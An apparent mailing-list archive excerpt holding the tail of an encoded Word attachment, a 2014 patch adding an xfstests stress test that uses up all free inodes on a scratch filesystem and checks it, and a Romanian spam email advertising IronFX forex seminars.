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 ------=_NextPart_000_0D8D_01CF4320.B614BAA0-- From eguan@redhat.com Wed Mar 19 04:28:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3DFF07F81 for ; Wed, 19 Mar 2014 04:28:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2015C304075 for ; Wed, 19 Mar 2014 02:28:50 -0700 (PDT) X-ASG-Debug-ID: 1395221328-04cbb054b74a2060001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ILmj1daDF6dun5DL for ; Wed, 19 Mar 2014 02:28:49 -0700 (PDT) X-Barracuda-Envelope-From: eguan@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2J9SmK2030312 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 19 Mar 2014 05:28:48 -0400 Received: from localhost (dhcp-13-209.nay.redhat.com [10.66.13.209]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s2J9SkWf032553; Wed, 19 Mar 2014 05:28:47 -0400 From: Eryu Guan To: xfs@oss.sgi.com Cc: Eryu Guan Subject: [PATCH] shared: new test to use up free inodes Date: Wed, 19 Mar 2014 17:27:49 +0800 X-ASG-Orig-Subj: [PATCH] shared: new test to use up free inodes Message-Id: <1395221269-11085-1-git-send-email-eguan@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395221329 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Stress test fs by using up all inodes and check fs. Also a regression test for xfsprogs commit d586858 xfs_repair: fix sibling pointer tests in verify_dir2_path() Signed-off-by: Eryu Guan --- tests/shared/006 | 96 ++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/006.out | 2 ++ tests/shared/group | 1 + 3 files changed, 99 insertions(+) create mode 100755 tests/shared/006 create mode 100644 tests/shared/006.out diff --git a/tests/shared/006 b/tests/shared/006 new file mode 100755 index 0000000..a3b13b6 --- /dev/null +++ b/tests/shared/006 @@ -0,0 +1,96 @@ +#! /bin/bash +# FS QA Test No. shared/006 +# +# Stress test fs by using up all inodes and check fs. +# +# Also a regression test for xfsprogs commit +# d586858 xfs_repair: fix sibling pointer tests in verify_dir2_path() +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Red Hat Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +create_file() +{ + local dir=$1 + local nr_file=$2 + local prefix=$3 + local i=0 + + while [ $i -lt $nr_file ]; do + touch $dir/${prefix}_${i} + let i=$i+1 + done +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs ext4 ext3 ext2 xfs +_supported_os Linux + +_require_scratch + +rm -f $seqres.full +echo "Silence is golden" + +_scratch_mkfs_sized $((1024 * 1024 * 1024)) >>$seqres.full 2>&1 +_scratch_mount + +i=0 +free_inode=`df -iP $SCRATCH_MNT | tail -1 | awk '{print $2}'` +loop=$((free_inode / 1000 + 1)) +mkdir -p $SCRATCH_MNT/testdir + +echo "Create $((loop * 1000)) files in $SCRATCH_MNT/testdir" >>$seqres.full +while [ $i -lt $loop ]; do + create_file $SCRATCH_MNT/testdir 1000 $i >>$seqres.full 2>&1 & + let i=$i+1 +done +wait + +# log inode status in $seqres.full for debug purpose +echo "Inode status after taking all inodes" >>$seqres.full +df -i $SCRATCH_MNT >>$seqres.full + +_check_scratch_fs + +# Check again after removing all the files +rm -rf $SCRATCH_MNT/testdir +echo "Inode status after deleting all test files" >>$seqres.full +df -i $SCRATCH_MNT >>$seqres.full +_check_scratch_fs + +status=0 +exit diff --git a/tests/shared/006.out b/tests/shared/006.out new file mode 100644 index 0000000..675c1b7 --- /dev/null +++ b/tests/shared/006.out @@ -0,0 +1,2 @@ +QA output created by 006 +Silence is golden diff --git a/tests/shared/group b/tests/shared/group index 29f17b0..230e560 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -8,6 +8,7 @@ 003 auto quick prealloc 004 auto quick prealloc 005 auto prealloc +006 auto stress enospc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.8.5.3 From fxmania@fxmania.ro Wed Mar 19 08:45:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.8 required=5.0 tests=HTML_IMAGE_ONLY_20, HTML_MESSAGE,HTML_SHORT_LINK_IMG_3,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 781A87F78 for ; Wed, 19 Mar 2014 08:45:37 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C561EAC00A for ; Wed, 19 Mar 2014 06:45:33 -0700 (PDT) X-ASG-Debug-ID: 1395236729-04cb6c56776a5160001-NocioJ Received: from mail.fxmania.ro (mail.fxmania.ro [85.204.249.133]) by cuda.sgi.com with ESMTP id AHOCnuUwiZC1UNNB for ; Wed, 19 Mar 2014 06:45:29 -0700 (PDT) X-Barracuda-Envelope-From: fxmania@fxmania.ro X-Barracuda-Apparent-Source-IP: 85.204.249.133 Received: from Test (mailing.fxmania.ro [85.204.249.131]) by mail.fxmania.ro (Postfix) with ESMTP id 09739E84CA0 for ; Wed, 19 Mar 2014 15:45:28 +0200 (EET) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=fxmania.ro; s=mail; t=1395236729; bh=OEnUNIMVHYRJTjesZYDDuTwZ8IqtLMy9q9s15qqdYjw=; h=From:Reply-To:To:Subject:Date:From; b=qQsyq4hZCqv5JdA7nTP3E9lZrOgI9Q6AP15ajBkV8bd5I9taW/rj3gbioLNwDh8Bh uIBRZrwTVQCZ684dn9V6CaFXaM8L4+9w7rjiUNhfsroDMxt02XfjpBYTpsOI7JM23U IGjLqJA5cuhDVKhUD31Kvfi/N/ZJSs1oCbNxEmuA= MIME-Version: 1.0 From: "FX MANIA" Reply-To: fxmania@fxmania.ro To: xfs@oss.sgi.com Subject: FXMANIA te invita la seminarul IronFX Global Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_001_5520_62321B5A.1A747A5F" X-ASG-Orig-Subj: FXMANIA te invita la seminarul IronFX Global X-Mailer: SmartSend.2.0.125 Date: Wed, 19 Mar 2014 15:46:15 +0200 Message-ID: <1344357800616276869903@Test> X-Barracuda-Connect: mail.fxmania.ro[85.204.249.133] X-Barracuda-Start-Time: 1395236729 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.66 X-Barracuda-Spam-Status: No, SCORE=1.66 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA090e, BSF_SC5_SA210e, DKIM_SIGNED, DKIM_VERIFIED, EXTRA_MPART_TYPE, HTML_IMAGE_ONLY_20, HTML_IMAGE_ONLY_20_2, HTML_MESSAGE, HTML_SHORT_LINK_IMG_3, HTML_SHORT_LINK_IMG_3_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4058 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 EXTRA_MPART_TYPE Header has extraneous Content-type:...type= entry -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_IMAGE_ONLY_20 BODY: HTML: images with 1600-2000 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 0.70 HTML_IMAGE_ONLY_20_2 HTML: images with 1600-2000 bytes of words 0.40 BSF_SC0_SA090e Custom Rule SA090e 0.00 HTML_SHORT_LINK_IMG_3 HTML is very short with a linked image 0.56 HTML_SHORT_LINK_IMG_3_2 HTML is very short with a linked image 0.00 BSF_SC5_SA210e Custom Rule SA210e ------=_NextPart_001_5520_62321B5A.1A747A5F Content-Type: multipart/alternative; boundary="----=_NextPart_002_5520_62321B5A.1A747A5F" ------=_NextPart_002_5520_62321B5A.1A747A5F Content-Type: text/plain; charset="windows-1252" Content-Transfer-Encoding: quoted-printable Seminar IronFX =EEn Rom=E2nia IronFX inclina balanta =EEn favoarea ta! Vino la seminar si afla cum si de = ce ai un avantaj cu IronFX. De asemenea, un trader independent iti va impar= tasi din experienta proprie si iti va raspunde la intrebari. 20/03/2014 ,18:00, Bucuresti, H.J. Grand Plaza Hotel =96 Diamond Conference= Room 21/03/2014 ,18:00, Cluj-Napoca, Grand Hotel Italia =96 Botticelli Conferenc= e Room 22/03/2014 ,12:00, Targu Mures, Plaza Hotel =96 Business Conference Room Speakers : Filip Adrian, CMT level 2 Ing. Olah Geza, Stock & FX trader Desi seminarul este gratuit, numarul de locuri este limitat! FXMANIA www.facebook.com/FXROMANIA ------=_NextPart_002_5520_62321B5A.1A747A5F Content-Type: text/html; charset="windows-1252" Content-Transfer-Encoding: quoted-printable

3DIronFX

FX MANIA t= e invita la seminarul IronFX GLOBAL

IronFX inclina balanta =EEn favoarea ta! Vino la seminar si afla cum si = de ce ai un avantaj cu IronFX. De asemenea, un trader independent iti va im= partasi din experienta proprie si iti va raspunde la intrebari.

  • 20/03/2014 ,18:00, Bucuresti, H.J. G= rand Plaza Hotel =96 Diamond Conference Room=20
  • 21/03/2014 ,18:00, Cluj-Napoca, Gran= d Hotel Italia =96 Botticelli Conference Room=20
  • 22/03/2014 ,12:00, Targu Mures, Plaz= a Hotel =96 Business Conference Room

Speakers : Filip Adrian, CMT level 2
Ing. Olah Geza, Stock & FX t= rader

Desi seminarul este gratui= t, numarul de locuri este limitat!

FXMANIA

www.facebook.com/FXROMANIA ------=_NextPart_002_5520_62321B5A.1A747A5F-- ------=_NextPart_001_5520_62321B5A.1A747A5F Content-Type: image/jpeg; name="1.jpg" Content-Transfer-Encoding: base64 Content-ID: <8080211143-1> /9j/4AAQSkZJRgABAgAAAQABAAD//gAEKgD/4gIcSUNDX1BST0ZJTEUAAQEAAAIMbGNtcwIQAABt bnRyUkdCIFhZWiAH3AABABkAAwApADlhY3NwQVBQTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 9tYAAQAAAADTLWxjbXMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAApkZXNjAAAA/AAAAF5jcHJ0AAABXAAAAAt3dHB0AAABaAAAABRia3B0AAABfAAAABRyWFla AAABkAAAABRnWFlaAAABpAAAABRiWFlaAAABuAAAABRyVFJDAAABzAAAAEBnVFJDAAABzAAAAEBi VFJDAAABzAAAAEBkZXNjAAAAAAAAAANjMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB0ZXh0AAAA AEZCAABYWVogAAAAAAAA9tYAAQAAAADTLVhZWiAAAAAAAAADFgAAAzMAAAKkWFlaIAAAAAAAAG+i AAA49QAAA5BYWVogAAAAAAAAYpkAALeFAAAY2lhZWiAAAAAAAAAkoAAAD4QAALbPY3VydgAAAAAA AAAaAAAAywHJA2MFkghrC/YQPxVRGzQh8SmQMhg7kkYFUXdd7WtwegWJsZp8rGm/fdPD6TD////b AEMABwUGBgYFBwYGBggIBwkLEgwLCgoLFxARDRIbFxwcGhcaGR0hKiQdHyggGRolMiUoLC0vMC8d IzQ4NC43Ki4vLv/bAEMBCAgICwoLFgwMFi4eGh4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u Li4uLi4uLi4uLi4uLi4uLi4uLi4uLv/CABEIAVEC2gMAIgABEQECEQH/xAAbAAACAwEBAQAAAAAA AAAAAAABAgADBAUGB//EABoBAQEBAQEBAQAAAAAAAAAAAAABAgMEBQb/xAAaAQEBAQEBAQEAAAAA AAAAAAAAAQIDBAUG/9oADAMAAAERAhEAAAH2YYYyA0EjAEMBDBSTSRiIHggsCpHgseCFiLGIpMCH givBAwEj1gjBKw0FkaWuPXAjqVrZCphbFceuAlq0V6OKKq22RhD2RmvouWV31xyhsfrA+a3Jo1eo ovpCUvpBa9Z9VblQsz87ZU9mLTZW1Rq33A1g1EtNlVLZDtQyVYYLGCCGUIYoJYruJqgXVxFuUqLQ WNARoCEiksLHFLXaooYRWWUUOBarQKrAEdYqaxBUtIgLFcjle5sSbMraTlb8+hefbVvy59jpkssE 